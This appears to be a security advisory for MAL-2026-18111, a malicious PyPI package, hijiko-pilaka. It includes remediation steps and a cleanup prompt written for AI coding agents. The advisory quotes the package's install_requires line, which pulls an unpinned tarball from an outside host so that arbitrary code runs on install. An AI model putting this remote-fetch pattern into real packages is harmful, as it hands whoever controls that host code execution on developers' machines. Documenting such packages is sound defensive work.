# MAL-2026-18111: Malicious code in hijiko-pilaka (PyPI)


- **Type:** Malicious package
- **Package:** `hijiko-pilaka` (PyPI)
- **Published:** 20 Oct 2026

## What is MAL-2026-18111?

MAL-2026-18111 is a malicious package in hijiko-pilaka, published on 20 Oct 2026. 

### Official description

hijiko-pilaka 1.0.0's setup.py declares its only dependency, `native-delta-field-walker`, via a direct URL to a tarball on artifacts.vacsdk.com rather than a PyPI version range: `install_requires=["native-delta-field-walker @ https://artifacts.vacsdk.com/pypi/native_delta_field_walker-1.0.0.tar.gz"]`. There is no hash pin or signature, so pip downloads and installs whatever bytes that URL serves at install time, executing any setup.py / build-backend / lifecycle code inside the fetched sdist. The shipped `hijiko_pilaka.py` is a 41-byte stub, so the manifest line is effectively the entire install-time surface. The host artifacts.vacsdk.com is unrelated to PyPI and is not pinned by digest, giving whoever controls that URL arbitrary code execution on any machine that runs `pip install hijiko-pilaka`.

The package uses fake http-downloaded dependencies to track downloads, and has no other purpose.

---

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: 2026-10-vacsdk

Reasons (based on the campaign):

 - dependency-confusion

## What should I do about MAL-2026-18111?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-18111 is a malicious package: hijiko-pilaka (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-18111/ (Markdown: https://insights.sbomify.com/MAL-2026-18111/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-18111

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-18111/
Summaries are generated and may contain mistakes; the official description above is the record.